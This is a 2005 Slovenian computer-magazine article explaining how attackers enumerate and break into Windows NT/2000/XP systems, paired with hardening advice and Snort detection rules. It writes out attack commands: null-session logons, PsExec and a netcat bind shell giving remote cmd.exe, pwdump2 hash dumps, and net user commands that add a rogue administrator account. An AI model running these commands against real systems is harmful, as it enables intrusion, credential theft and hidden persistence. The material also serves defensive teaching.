Objavljeno: 30.9.2005 14:53 | Avtor: Ivan Verdonik | Monitor September 2005

Pozor, hekerji (4)

Naslednja stopnja v pripravi napada, ki je pogosto že skoraj napad sam, je popisovanje (enumeration). Za popisovanje je značilno, da že gre za dejaven stik z napadenim sistemom, zato napadeni sistem te aktivnosti praviloma zabeleži, vprašanje je le, ali kdo to preverja in sprejema ustrezne protiukrepe.

Grabljenje naslovov

Poleg podatkov o operacijskem sistemu, kot smo videli zadnjič, lahko heker s tem, da se kot odjemalec prijavi v strežniški program na ciljnem sistemu (čeprav neuspešno), pridobi podatke o različici strežniškega programa. Na primer z ukazom:

$ telnet doma.eocene.net 21

Trying 192.168.1.3...

Connected to doma.eocene.net.

Escape character is '^]'.

220 doma Microsoft FTP Service (Version 5.0).

Heker je v svojem sistemu uporabil program telnet, mu podal ciljni računalnik in ciljna vrata. Vrata pa niso standardna za protokol telnet (TCP/23), temveč vrata 21 (FTP). Vidimo, da je v računalniku 'doma' nameščen strežnik Microsoft FTP različica 5.0. S pregledom spleta ugotovimo, da je ta različica ranljiva, čeprav "le" z napadom onesposobitve delovanja (DoS - Denial of Service). Da ga izvede, mora heker pridobiti le še napotek in/ali program za izrabo ranljivosti (exploit). Za grabljenje naslova (banner grabbing), lahko uporabi tudi več drugih programov: nessus, nmap, netcat ... Program nmap izpiše različico programa, če mu podamo stikalo -sV. Program netcat je nizkonivojsko, enostavno, vsestransko orodje, ki ga je mogoče uporabiti tudi za grabljenje naslovov, kakor kaže zgled:

$ nc -v doma.eocene.net 21

S tem pripomočkom je mogoče pridobiti še več podatkov, na primer z naslednjim ukazom (cilj ni FTP, ampak HTTP):

C:\> echo HEAD / HTTP/1.0 | nc -v 194.247.35.26 80

cmb6-24.dial-up.krne.si [194.247.35.26] 80 (http) open

HTTP/1.1 400 Bad Request

Date: Thu, 10 Feb 2005 11:45:46 GMT

Server: Apache/2.0.48 (Win32)

Connection: close

Content-Type: text/html; charset=iso-8859-1

Kakor vidite, smo programu netcat poslali niz HEAD / HTTP/1.0, ta pa ga je poslal računalniku z IP naslovom 194.247.35.26, v spletni strežnik (vrata 80), ki je "izkašljal" kar nekaj podatkov.

Ničelne seje

Ničelne seje (null session) omogočajo popisovanje operacijskih sistemov Windows NT/2000, pa tudi XP in 2003. Ničelna seja je povezava anonimnega odjemalca NetBIOS s strežnikom. Ker je povezava anonimna, ne vsebuje nobene identifikacije odjemalca ter tudi ni nobene overitve (authentication), skratka, ni treba podati ne uporabniškega imena ne gesla. Zato so informacije, ki jih lahko pridobimo z ničelno sejo, pravzaprav javni podatki - torej kot podatki pri registrarjih ali podatki v spletu. Vedeti moramo, da so ničelne seje v operacijskih sistemih Windows NT in Windows 2000 omogočene s privzetimi nastavitvami. Nekoliko bolje je pri Windows XP in 2003; pri teh tovarniške nastavitve onemogočajo vsaj popisovanje uporabniških računov.

Če je ničelna seja omogočena, se lahko heker iz svojega računalnika z Windows prijavi v našega iz ukazne vrstice:

C:\> net use \\192.168.1.3\ipc$ "" /u:""

pri čemer je 192.168.1.3 naslov IP ciljnega računalnika. Uspešna prijava predstavlja izhodišče za nadaljnjo sovražno dejavnost. Če se heker uspešno prijavi, lahko popiše skupine uporabnikov, uporabniške račune, deljene imenike, informacije o omrežju, vnose v registru in še kaj. Številka vrat, na katerih deluje vzpostavljanje ničelnih sej, je 139, v Windows 2000/XP/2003 pa še 445.

Da se zaščitimo, moramo ali izključiti ničelno sejo ali s požarnim zidom blokirati vrata 139 (in 445) ali oboje.

Ničelno sejo v Windows 2000 onemogočimo tako, da v registru (registry) ključu:

HKLM\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous

določimo vrednost 2 (ali vsaj vrednost 1, ki sicer omogoča ničelne seje, vendar blokira popisovanje deljenih imenikov in uporabniških računov). Operacijska sistema Windows XP in 2003 imata poleg ključa:

HKLM\System\CurrentControlSet\Control\LSA\RestrictAnonymous

(ključ je v teh operacijskih sistemih tovarniško nastavljen na 0, kar omogoča popisovanje deljenih imenikov; če ga nastavimo na 1, to ni mogoče, vrednost 2 pa ne obstaja.)

še ključ:

HKLM\System\CurrentControlSet\Control\LSA\RestrictAnonymousSAM

Če tega ključa ni ali pa je nastavljen na 0, lahko z ničelnimi sejami popisujemo krajevne uporabniške račune, če je vrednost tega ključa 1 (kar je tovarniška nastavitev), pa tega ne moremo. Nadalje imata operacijska sistema Windows XP in 2003 še ključ:

HKLM\System\CurrentControlSet\Control\LSA\EveryoneIncludesAnonymous

Če je ta ključ nastavljen na 0 ali ga ni, ničelne seje nimajo posebnih pravic (to je tovarniška nastavitev), če pa je nastavljen na 1, je ničelna seja del skupine Everyone (vsi) in ima njej pripadajoče pravice (to torej ni posebej varno).

Poleg tega lahko poizkuse vzpostavitev ničelnih sej zaznamo z detektorji vdorov, kot je Snort. Ustrezno pravilo je:

alert tcp $EXTERNAL_NET any -> $HOME_NET 139

(msg:NETBIOS NT NULL session; flow:to_server,established;

content: |00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4E 00 54 00 20 00 31 00 33 00 38 00 31|;

reference:bugtraq,1163; reference:cve,CVE-2000-0347; reference:arachnids,204;

classtype:attempted-recon; sid:530; rev:7;)

Pravilo preveri, ali gre za (pravkar) vzpostavljeno sejo na vratih 139 računalnika v našem omrežju, v paketu pa je med drugim tudi vsebina, ki smo jo popisali s šestnajstiškimi vrednostmi (00 00 ... 00 31)

Če je heker uspel vzpostaviti ničelno sejo, nadaljuje z popisovanjem Windows omrežja, pri čemer si pomaga z orodji, ki so v Windows sistemu samem, orodji iz zbirke Windows Resource Kit ter orodji raznih avtorjev, ki jih je mogoče najti v svetovnem spletu. Iz sistema Windows uporabljajo hekerji predvsem ukaze, ki se začnejo z net (net use, kot smo že videli, uporabljajo za vzpostavitev ničelne seje). Z ukazom net view popišemo imena aktivnih računalnikov. Z ukazom net view /domain popišemo vse domene. Z ukazom: net view /domain:ime_domene pa natančneje popišemo specifično domeno (izpišemo imena računalnikov, ki sodijo v to domeno, in komentarje o njih). Z ukazom:

C:\> net view \\ime_računalnika

dobimo podatke o podanem računalniku (prikažejo se morebitna deljena sredstva). Zgled takega popisovanja je:

C:\Documents and Settings\Administrator> net view \\DOMA

Shared resources at \\DOMA

Share name Type Used as Comment

----------------------------------------------------------

MikTex Disk

The command completed successfully.

Naslednji ukaz v operacijskem sistemu je nbtstat. Z njim iz oddaljenega računalnika pridobimo tabelo imen NetBIOS, pri čemer niti ni potrebno predhodno vzpostaviti ničelne seje. Zgled uporabe je:

C:\Documents and Settings\Administrator> nbtstat -A 192.168.1.3

Local Area Connection:

Node IpAddress: [192.168.1.3] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status

----------------------------------------------------------------

DOMA <00> UNIQUE Registered

DOMA <20> UNIQUE Registered

WORKGROUP <00> GROUP Registered

WORKGROUP <1E> GROUP Registered

DOMA <03> UNIQUE Registered

INet~Services <1C> GROUP Registered

IS~DOMA........ <00> UNIQUE Registered

WORKGROUP <1D> UNIQUE Registered

..__MSBROWSE__ <01> GROUP Registered

ADMINISTRATOR <03> UNIQUE Registered

MAC Address = 00-30-4F-1F-EC-84

Razlaga nekaterih kod NetBIOS je naslednja:

koda NetBIOS Pomen

ime_računalnika <00> Delovna postaja

ime_domene <00> Ime domene

ime_računalnika <03> Sporočilna storitev za ta računalnik

ime_uporabnika <03> Sporočilna storitev za tega uporabnika

ime_računalnika <20> Ta računalnik je strežnik

ime_domene <1D> Glavni brskalnik (Master Browser)

ime_domene <1E> Izbor brskalnika (Browser Service Elections)

ime_domene <1B> Glavni brskalnik v domeni (Domain Master Browser)

Iz zgornjega je razvidno, da je ime računalnika, na katerem je tabela, DOMA, domena, v kateri je, je WORKGROUP, uporabnik, ki je prijavljen na računalniku, je ADMINISTRATOR, storitev, ki se izvaja v računalniku, je INet~Services, prikaže pa tudi unikatno strojno oznako omrežne kartice (MAC).

Popisovanje SNMP

Če je v računalniku nameščen agent za SNMP (Simple Network Management Protocol), ki je nezaščiten ali slabo zaščiten, lahko vdiralec pridobi veliko podatkov o omrežju. Pri tem niso zajeti samo računalniki v omrežju, temveč vse naprave, ki so vključene vanj (usmerjevalniki, razdelilniki, terminali, tiskalniki...). Za dostop do podatkov lahko uporabi katerega od številnih programov za pregledovanje SNMP MIB (Management Information Base). Zgled zbiranja informacij s poizvedbami SNMP (in zahtevkom ICMP broadcast echo) je:

17:41:27.03 zli.heker.si > 255.255.255.255: icmp: echo request

17:41:27.59 zli.heker.si.1030 > 255.255.255.255.161:GetNextRequest(11)[|snmp]

...

17:43:17.22 zli.heker.si > 192.168.1.255: icmp: echo request

17:43:17.65 zli.heker.si.1030 > 192.168.1.255.161: GetNextRequest(11)[|snmp]

Vdiralec tako z malo poslanimi paketi zbere veliko informacij. Takšen je promet v omrežju, napadalec pa seveda ne deluje na tako nizkem nivoju, temveč uporablja katero od orodij. Zelo dobro orodje je IP Network Browser.

Slika 1: Grafični vmesnik orodja IP Network Browser

Zaradi tega je treba z gesli ustrezno varovati SNMP in s požarnim zidom blokirati vrata TCP in UDP št. 161. Poleg tega je mogoče, da v registru dovolimo dostop do skupin SNMP (SNMP Comunity Names) le pooblaščenim osebam. Najbolj varno pa seveda je, če agente SNMP izključimo. Poizkuse popisovanja lahko zaznamo tudi z detektorji vdorov. Primera pravil Snort sta:

alert udp any any -> 255.255.255.255 161

(msg:"SNMP Broadcast request"; reference:cve,CAN-2002-0012;

reference:cve,CAN-2002-0013; sid:1415;

rev:2; classtype:attempted-recon;)

Kot vidimo, je ključ detekcije, oddajanje (broadcast) po omrežju, na vratih 161 (vratih, rezerviranih za SNMP).

alert udp $EXTERNAL_NET any -> $HOME_NET 161

(msg:"SNMP request udp"; reference:cve,CAN-2002-0012;

reference:cve,CAN-2002-0013; sid:1417; rev:2;

classtype:attempted-recon;)

Kot vidimo, beležimo dostope do vrat SNMP (161).

Vdori v sisteme Windows

  • Operacijski sistemi iz družine Windows NT/2000/XP/2003 so najbolj razširjeni sistemi v poslovni rabi. Zaradi tega jim tudi hekerji namenjajo največ pozornosti. Podobno, kakor pri operacijskih sistemih Windows 95/98/Me, je tudi pri teh (poleg prekoračitev vmesnikov), varnostno najobčutljivejše deljenje sredstev med uporabniki.
  • Deljenje sredstev

    Na vsakem sistemu Windows lahko damo sredstva v skupno rabo ter jih zaščitimo z geslom, ki ga imata v sistemu določen uporabnik ali skupina. Protokol, ki vse to omogoča, se imenuje CIFS (Common Internet File System), ki temelji na nižjenivojskem Microsoftovem protokolu za deljenje datotek SMB (Server Message Block).

    Slabosti v izvedbi CIFS in SMB v veliki meri izvirajo iz združljivosti tega protokola s starejšimi različicami Windows.

    Kot smo rekli, CIFS temelji na protokolu SMB. Pri tem se morata odjemalec in strežnik SMB sporazumeti za protokol, ki ga bosta uporabila. Običajno izbereta najnovejšega, ki ga oba podpirata. Hekerska orodja izkoriščajo to dejstvo in se predstavljajo kot najstarejši sistemi ter tako znižajo stopnjo varnosti na minimum.

    Promet poteka skozi vrata 139 na strani strežnika (medtem ko lahko odjemalec deluje na katerih koli vratih). Ker odjemalec poleg naslova IP potrebuje tudi ime NetBIOS, je treba rešiti problem njegovega odkrivanja. Kot odgovor na ta problem, so avtorji ponudili več rešitev: statične datoteke, imenske strežnike (DNS), WINS (Windows Internet Name Server) in oddajanje (broadcast) v okviru krajevnega omrežja. V primeru, ko je v računalniku aktiviran protokol NetBIOS na TCP/IP, imenovan tudi NBT, ta protokol doda svojo lastno imensko storitev na vrata UDP/137, ki med drugim išče druga imena ter oddaja svoje, da sosedje vedo za njen obstoj in da nudi svoja sredstva. Problem je, da to deluje le znotraj krajevnega omrežja, saj usmerjevalniki tega prometa ne prenesejo v medmrežje. Zaradi tega obstaja statusno oziroma imensko povpraševanje za temi imeni. To povpraševanje deluje podobno, kakor delujejo imenski strežniki (DNS). Zgled takega povpraševanja smo si ogledali v nbtstat -A ip.naslov.net). Tam smo tudi opisali, kaj pomenijo nekatere vrste imen.

    Če poteka promet SMB skozi vrata 139, se najprej pošlje 4-bajtna dolžina bloka, ki mu sledi blok sam. Druga možnost je, da se promet odvija skozi vrata UDP/138.

    Ugibanje gesel

    Deljenje datotek s CIFS preko SMB omogoča, poleg popisovanja, tudi napade z ugibanjem gesel. Heker lahko ugiba gesla katerega koli uporabnika, vendar si od vseh gesel najbolj želi administratorjevo. To geslo ima tudi to prednost, da se pogosto, tudi po več (npr. 5, 10) poskusih prijave ne "zaklene", ker bi bil v tem primeru računalnik lahko podvržen napadu z onesposobitvijo delovanja (administrator se ne bi mogel prijaviti v sistem). Z računalnika z Windows na drugi računalnik Windows (v tem primeru NT) je primer poskusa ugibanja gesla sledeč (če je geslo pravilno):

    C:\Security\NAT> net use \\192.168.1.3\ipc$ * /user:Administrator

    Type the password for \\192.168.1.3\ipc$:

    The command completed successfully.

    Če geslo ni pravilno:

    C:\Security\NAT> net use \\192.168.1.3\ipc$ * /user:Administrator

    Type the password for \\192.168.1.3\ipc$:

    System error 1219 has occurred.

    The credentials supplied conflict with an existing set of credentials.

    Če bi hekerji morali ročno ugibati gesla, verjetno ne bi vdrli v prav mnogo sistemov, zato postopek avtomatizirajo (običajno s katerim od skriptnih jezikov).

    Zaščitimo se z blokado vrat UDP in TCP 135-139 na požarni pregradi, preko katere je podjetje povezano z internetom. Pri operacijskih sistemih Windows 2000/XP/2003, moramo blokirati še vrata 445. Spet moramo tudi izpostaviti pomembnost močnih gesel. Obstajajo orodja, s katerimi lahko administratorji vsilijo stroga pravila za ravnanje z njimi. Takšna orodja so Account Policy, Passfilt in Passprop. Prav je tudi, če poskrbimo za nadzor (auditing) nad neuspešnim prijavljanjem na sistem. Če opazimo veliko število poskusov prijav (npr. več kot 20), je precej verjetno, da gre za poizkus vdora. Te dogodke spremljamo v sistemskem dnevniku (Event Viewer). Pomagamo pa si lahko tudi z detektorji vdorov, kot so Black ICE, Centrax, RealSecure, Tripwire in drugi.

    Prisluškovanje geslom

    Ugibanje gesel s povezavami na ciljni računalnik je zamudno, poleg tega je zelo očitno in obstaja velika verjetnost, da ga bo administrator opazil, račun uporabnika pa se lahko tudi zaklene že po treh poizkusih. Zato hekerji raje prisluškujejo geslom, ko ta potujejo med računalniki v omrežju (oddaljene prijave v sisteme). Ta dejavnost je posebej nevarna, če je hekerju že uspelo vdreti v enega od računalnikov v krajevnem omrežju ali pa če je vdiralec kdo od zaposlenih. V tem primeru lahko heker prisluškuje prometu v krajevnem omrežju in "lovi" gesla. Ta so sicer šifrirana, vendar je za vdiralca posebna prednost dejstvo, da jih lahko razbija v svojem računalniku, skrito pred radovednimi očmi in znatno hitreje. Pri "lovu" na gesla ga ne ovirajo omrežja s stikalom (switch). V tem primeru preobremeni stikalo (stikalo začne delovati kakor razdelilnik), ali pa s ponarejanjem ARP preusmeri omrežni promet v svoj računalnik (in ga nato prek sebe eventualno posreduje naprej na prave naslove).

    Program dsniff lahko prisluškuje prometu v bodisi nekomutiranem omrežju neposredno s kartice računalnika, bodisi z dodatnim programom, ki se imenuje arpredirect in izvaja ponarejanje ARP. Kot rezultat pa prikazuje uporabniška imena in gesla, tudi šifrirana. Posebej za Windows NT (oziroma za njegov overitveni postopek izziv-odgovor, challenge-response), obstaja program SMB Packet Capture (del orodja L0phtcrack), s katerim hekerji lovijo izzive in odgovore. L0phtcrack nato obdeluje 'izziv' z ugibanjem gesel in šifriranjem, dokler ni rezultat enak 'odgovoru'.

    Če v omrežju nimamo računalnikov z operacijskimi sistemi Windows 95/98/Me (in starejših), se lahko zaščitimo tako, da v strežnikih Windows NT 4.0 (s kompletom popravkov 4) dodamo v register ključ:

    HKLM\System\CurrentControlSet\Control\LSA\LMCompatibilityLevel

    s vrsto REG_DWORD in vrednostjo 4. S tem onemogočimo overitev vrste Lan Manager (LM), ki je zelo ranljiva.

    Operacijski sistemi Windows pred različico 2000 omogočajo le overitve na podlagi protokola izziv-odgovor (challenge-response).

    Ta protokol je (kot smo rekli) v različicah pred NTLMv2 (LM in NTLM) zelo ranljiv. Overjanje med računalniki z operacijskimi sistemi, starejšimi od Windows NT 4.0 Service Pack 3, poteka na osnovi protokola iz Lan Managerja (LM). Overitev v LM (in NTLM) poteka v treh korakih:

  • Odjemalec pošlje strežniku sporočilo vrste 1. To je v glavnem seznam značilnosti odjemalca.
  • Strežnik odgovori s sporočilom vrste 2. V njem je seznam značilnosti, ki jih strežnik omogoča in so skladni z odjemalčevimi, ter najpomembnejše, izziv (challenge), ki ga strežnik izda. Izziv je naključni 8-bajtni blok podatkov.
  • Odjemalec odgovori na ta izziv s sporočilom vrste 3. To sporočilo vsebuje več podatkov o odjemalcu, vključno z domeno in uporabniškim imenom, vključuje pa tudi enega ali več odgovorov (response), na izziv v sporočilu vrste 2.
  • Ta odgovor se izračuna po naslednjem postopku:

  • Uporabnikovo geslo se pretvori v velike črke (uppercase)
  • Če je geslo krajše od 14 znakov, se dopolni s praznimi znaki, če pa je daljše, se presežek odreže.
  • Tako obdelano geslo se razdeli na dve polovici po sedem bajtov.
  • Na osnovi teh dveh polovic se tvorita dva ključa DES in sicer vsak iz ene polovice.
  • Vsak od ključev zašifrira ASCII konstanto `KGS!@#$%´, tako dobimo dva šifrirana 8-bajtna niza.
  • Ta dva niza postopek stakne in nastane 16-bajtna vrednost - povzetek LM (hash).
  • Povzetek LM se dopolni s praznimi znaki, tako da je dolžina 21 bajtov.
  • Ta vrednost se razdeli v tri 7-bajtne kose.
  • Te tri kose uporabimo za tvorjenje treh ključev DES (iz vsakega kosa enega).
  • Z vsakim od treh ključev DES šifriramo izziv (challenge) v sporočilu vrste 2.
  • Tako dobimo tri 8-bajtne šifrirane vrednosti, ki tvorijo 24-bajtni odgovor LM.
  • Najpomembnejši slabosti tega algoritma sta, da ne loči med malimi in velikimi črkami (vedno uporablja velike), kar zelo zmanjša število kombinacij, ter da so v primeru gesla, ki je dolgo do sedem znakov, v drugi polovici iz koraka 3 samo prazni znaki. Tako bosta celotni drugi kos, razen enega bajta, in celotni tretji kos znani konstanti.

    Prisluškovanje overitvam Kerberos

    Zanimivo je, da je s prisluškovanjem overitvam mogoče razluščiti tudi te, ki delujejo na protokolu Kerberos (overitve Kerberos se izvajajo med računalniki, ki delujejo z operacijskim sistemom Windows 2000 in novejšim), ter nato ugibati gesla v svojem računalniku; bodisi z golo silo, bodisi s slovarjem gesel. Programa za prisluškovanje kerbsniff in za ugibanje gesel kerbcrack je razvil Arne Vidstrom.

    S kerbsniffom hekerji prisluškujejo povezavam in zajemajo overitve Kerberos v datoteko. To datoteko nato podajo programu Kerbcrack, ki ugiba gesla. Na povprečnem PCju lahko preverijo čez milijon gesel v desetih minutah.

    Zajem povzetka gesla s prevaro

    Da bi prišli do informacij v zvezi z geslom, hekerji izkoriščajo tudi dejstvo, da se operacijski sistem Windows, ko ni posebej izbran način overjanja, samodejno prijavi z računa trenutnega uporabnika. Zato lahko v primeru, da uspejo žrtev prisiliti v povezavo NetBIOS, s takega računalnika pridobijo povzetek gesla (hash). To je mogoče tako, da se v elektronsko pošto, spletno stran ali strežnik ftp podtakne povezava, kot je na primer:

    file://192.168.1.104/ime_deljenega_sredstva/karkoli.htm

    V primeru, da žrtev klikne na to povezavo, se poveže s strežnikom NetBIOS na naslovu (številki IP) 192.168.1.104 kot trenutno prijavljen uporabnik in pošlje povzetek svojega gesla, ki ga lahko heker prebere s SMBCapture.

    Prekoračitve vmesnikov

    Prekoračitev vmesnika (buffer overflow) nastopi, kadar program ne preveri dovolj dolžine oziroma količine vnesenih podatkov. Primer programa občutljivega na prekoračitev vmesnika, je naslednja koda v programskem jeziku C:

    #include <stdio.h>

    int main ( )

    {

    char ime[31];

    printf("Vpiši svoje ime: ");

    gets(ime);

    printf("Zdravo, %s", ime);

    return 0;

    }

    Program priredi blok 32 bajtov pomnilnika spremenljivki "ime". V primeru, da izvedljivi različici (.exe) tega programa za ime podamo 'Peter', bo program deloval, kot smo predvideli. Toda če mu podamo na primer 40 'A'-jev, pride do prekoračitve vmesnika. Pri tem se prepiše vsebina registra v CPU, ki kaže na naslednji ukaz v programu (ta register se imenuje EIP - Extended Instruction Pointer). S takšnim vnosom smo dosegli, da je vsebina registra EIP: 0x41414141 (0x41 je šestnajstiški zapis ASCII za črko A). Ker na tem pomnilniškem naslovu ni izvedljive instrukcije, je rezultat tako imenovana napaka dostopa (Access Violation). Prikaže se okence "The instruction at '0x41414141' referenced memory at '0x41414141'. The memory could not be read.".

    S primerno sestavljenimi vnosi lahko heker prekoračitev vmesnika izrabi za izvedbo poljubnega ukaza, vendar pa najpogosteje požene ukazno vrstico (cmd.exe) in si ustvari svoj administratorski račun.

    Pred prekoračitvami vmesnikov se je mogoče zaščiti tako, da sproti nameščamo popravke, večino dela pa bi morali opraviti razvijalci aplikacij, saj so prekoračitve vmesnikov posledica njihovih napak.

    Povečevanje pooblastil

    V primeru, da napadalec odkrije geslo za enega od računov, vendar ta ni administratorski, to za nas ne bi bilo posebej nevarno, če ne bi imel možnosti povečevanja pooblastil (privilege escalation). Obstajajo orodja, ki mu omogočajo pridobitev administratorskega računa prek enega od manj pomembnih računov.

    Tak program je na primer GetAdmin. GetAdmin doda trenutno prijavljenega uporabnika v skupino administratorjev. Deluje le krajevno ter ga ni mogoče izrabiti z računa Guest. Temelji na napaki procedure v jedru operacijskega sistema, tako da ta nastavi globalno zastavico, posledica česar je, da klic procesa NtOpenProcessToken uspe ne glede na dovoljenja, ki jih ima trenutni uporabnik. To nato omogoča, da se uporabnik prilepi kateremukoli procesu, ki teče v sistemu, tudi procesu WinLogon, ki teče v okviru varnostnega konteksta sistema.

    Dejavnosti po vdoru

    Ko je heker pridobil administratorsko geslo, lahko govorimo o vdoru. Ko ima to geslo, smo, če ga ne odkrijemo, preden ga začne uporabljati, bolj ali manj nemočni (eventualno bi lahko računalnik izključili iz omrežja), začeti moramo z reševanjem podatkov iz vlomljenega računalnika, formatirati disk in vnovič naložiti izvršilne programe iz izvirnih nosilcev.

    V primeru, da vdora ne opazimo, lahko pričakujemo naslednji scenarij: napadalec si bo nastavil daljinski pristop ukazni vrstici (cmd.exe) ali celo orodje za daljinsko upravljanje z grafičnim vmesnikom z administratorskimi pooblastili, izključil spremljanje (auditing), če je vključeno, izvlekel druge uporabniške račune in gesla ter jih skušal razbiti, namestil program za beleženje pritisnjenih tipk, namestil razne trojanske programe, programe za prisluškovanje omrežnemu prometu, iz računalnika vršil napade na druge sisteme ter prikril ali odstranil sledi svojega vdora.

    Oddaljen dostop

    Ko ima heker administratorsko geslo, ga bo verjetno "unovčil". Najprej si bo omogočil izvajanje ukazov v okviru ukazne vrstice. Pri tem si "pomaga" s programi iz Microsoft Resource Kit, kot sta remote.exe in rsetup (z rclient), pa tudi drugimi, "hekerskimi" orodji (PsExec, netcat).

    Program PsExec

    V primeru, da računalnik, za katerega ima heker administratorsko geslo, omogoča komunikacijo SMB, lahko heker iz svojega računalnika oddaljeno izvaja ukaze na računalniku žrtve, s pomočjo programa PsExec. Napadalec najprej ustvari SMB sejo z:

    C:\> net use \\192.168.1.3\ipc$ geslo /u:Administrator

    Nato požene PsExec, ki mu doda želeni ukaz (običajno cmd.exe):

    C:\> psexec \\192.168.1.3 cmd.exe

    PsExec tudi omogoča, da oba ukaza združi z:

    C:\> psexec \\192.168.1.3 -u Administrator -p geslo cmd.exe

    Netcat

    Ko je netcat nameščen v žrtvin računalnik, ga lahko napadalec uporabi tudi za izvajanje ukazov iz svojega računalnika. V računalniku žrtve požene:

    C:\> nc -L -n -p 1122 -e cmd.exe

    Stikalo -L poda zato, da se po koncu seje znova požene, s stikalom -p pa določi, pri katerih vratih naj posluša. SIz svojega računalnika se nato poveže z:

    C:\> nc 192.168.1.3 1122

    Kraja gesel

    Ko ima heker možnost oddaljenega dostopa, v računalnik žrtve prekopira več hekerskih programov. Če gre za računalnik z Windows NT/2000/XP/2003, bo verjetno nanj prekopiral tudi program pwdump2. Z njim je mogoče iz SAM (Security Account Manager) in AD (Active Directory) izvleči uporabniška imena in povzetke gesel, kljub temu da je vse skupaj 128-bitno šifrirano. Primer uporabe je naslednji:

    C:\Security\pwdump2> pwdump2

    ACTUser:1009:ab454f06fc4805d5a0d92825708dd018:e7a767b8a20a3660396bad2d17560a74:::

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:c075ea6d9c62c7defed84aee8b4578bb:::

    ASPNET:1005:7630e6af879535ff293ba54255c3ede3:76d1aac0c1192b9e9abef1bac90f317f:::

    Razbijanje gesel

    Potem, ko napadalec s programov, kot so LC5 (L0phtcrack), John the Ripper in MDcrack, izvleče šifrirana gesla, natančneje njihove povzetke, pridobi gesla v tekstovni obliki. Ti programi ne obnovijo gesel iz povzetkov, saj postopki za to niso znani, temveč z istim algoritmom, kakršnega uporablja operacijski sistem, sami izdelajo povzetke iz nizov, ki so kandidati za geslo, in tako pridobljeni povzetek primerjajo s tistim, ki je bil izvlečen s pwdump2 ali pridobljen kako drugače. Razbijanje je lažje, ker tudi operacijski sistemi Windows 2000/XP/2003 hranijo povzetke gesel LM (LAN Manager) in NTLM. Načina zapisa LM in NTLM pa sta ranljiva, kakor smo opisali pri protokolu izziv-odgovor.

    Slika 1: Program za razbijanje gesel MDCrack

    Programi za beleženje pritisnjenih tipk

    Naslednja napadalčeva možnost, da s pomočjo vlomljenega računalnika pridobi nadaljnje zaupne podatke, kot so gesla (in številke kreditnih kartic), so programi, ki beležijo pritisnjene tipke. Ti programi so nameščeni med strojno opremo (tipkovnico) in operacijskim sistemom ter zabeležijo vsako pritisnjeno tipko. Tovrstnih programov je več, nekateri poleg beleženja tipk omogočajo še različne druge vrste vohunjenja za uporabniki.

    Invisible Keylogger

    Invisible Keylogger je eden najzmogljivejših programov za beleženje pritisnjenih tipk, ki omogoča tudi spremljanje drugih dejanj. Program se prodaja legalno, kot orodje za spremljanje dejavnosti otrok, zakonskih partnerjev in zaposlenih v izbranem računalniku. Verjetno pa je jasno, da večina strank uporablja program za nepoštene namene. Pred kratkim so na primer v ZDA odkrili učenca, ki je tak program namestil na učiteljev računalnik, razbiral izpitna vprašanja in jih prodajal sošolcem.

    Invisible Keylogger omogoča: nevidno prisluškovanje geslom, ker deluje na najnižjem nivoju operacijskega sistema Windows in zabeleži tudi vnose v "varno" sistemsko prijavno okno, na skrivaj beleži pogovore uporabnika v spletnih klepetalnicah, beleži obiskana spletna mesta, ima sposobnost zajema ekranskih slik, zbrane podatke lahko pošlje napadalcu prek žrtvine elektronske pošte, program ima možnost zaščite z geslom, šifrirati je mogoče tudi zbrane podatke.

    Slika 3: Eden od programov za beleženje tipk

    Zaščita pred programi za beleženje tipk

    Obstaja tudi več programov, ki ščitijo sistem pred beleženjem tipk. Nekateri od njih temeljijo na pravilih (signature basis), podobno kot jih ima nmap za zaznavanje operacijskih sistemov in kot detektorji vdorov na osnovi pravil. Vendar to ni idealna rešitev, ker je mogoče nekatera orodja za beleženje tipk prilagoditi tako, da jih pravila ne zaznajo. Obstajajo pa tudi programi, ki preprečujejo beleženje tipk, na osnovi hevrističnih algoritmov. Tak je na primer AntiKeylogger.

    AntiKeylogger

    Ta program ščiti računalnike z operacijskimi sistemi Windows NT/2000/XP/2003 pred vohunskimi programi, h katerim sodijo orodja za beleženje tipk. AntiKeylogger onemogoča večino takih programov in prepreči, da bi napadalci zajeli gesla, številke PIN in druge pomembne informacije.

    Trojanska inačica GINAe

    Program FakeGINA je trojanska različica programa GINA (The Graphical Identification and Authorization). GINA je posrednik med uporabnikom in operacijskim sistemom, ki izvaja na primer začetno prijavo v sistem (to je program, ki se prikaže, ko pritisnemo kombinacijo tipk Ctrl+Alt+Del). Na ta način zabeleži vsa prek njega vnesena gesla. Program je mogoče namestiti prek omrežja. Heker najprej prekopira knjižnico fakegina.dll v imenik %SystemRoot%\system32, nato uporabi orodje reg.exe iz zbirke Resource Kit in doda ustrezen vnos v register. Potem mora zgolj znova zagnati sistem, za kar lahko uporabi še eno od orodij iz zbirke Resource Kit - shutdown.exe. Zajeta uporabniška imena in gesla shrani v datoteko passlist.txt.

    Odpiranje sovražnih uporabniških računov

    Hekerji na vlomljenih sistemih običajno ustvarjajo svoje uporabniške račune z administratorskimi pooblastili, ker so administratorji pozorni na svoje račune in ker lahko svoja gesla tudi spremenijo. Če ima heker administratorsko geslo, lahko na oddaljenem sistemu z Windows NT/2000/XP/2003 z ukazno vrstico ustvarijo svoj uporabniški račun z:

    C:\> net user <Uporabnik> <Geslo> /ADD

    C:\> net localgroup <Ime_skupine> <Uporabnik> /ADD

    Na primer:

    C:\> net user Admin2 1965rojen /ADD

    The command completed successfully.

    C:\> net localgroup Administrators Admin2 /ADD

    The command completed successfully.

    Oddaljen nadzor

    Tudi če ima administratorsko geslo, to hekerju ne pomaga veliko, če se pozneje ne more spet prijaviti v sistem, ker na računalniku ne deluje primeren program (npr. SMB - Server Message Block, telnet). Zato hekerji takoj, ko lahko, v vlomljeni računalnik namestijo katerega od programov za oddaljen nadzor. To so tako imenovana stranska vrata (backdoor). Taka programa sta npr. Back Orifice 2000 oziroma Back Orifice XP.

    Rootkit

    Izraz "rootkit" predstavlja tehnike in mehanizme skrivanja zlonamernih programov (malware), kot so virusi, vohunski programi in trojanski programi, pred programi za blokiranje vohunjenja, protivirusnimi programi in orodji za upravljanje sistema. Programi rootkit se delijo v več skupin, glede na to, ali preživijo vnovični zagon sistema ali ne, ter ali se izvajajo v uporabniškem načinu (user mode) ali v jedru operacijskega sistema (kernel mode).

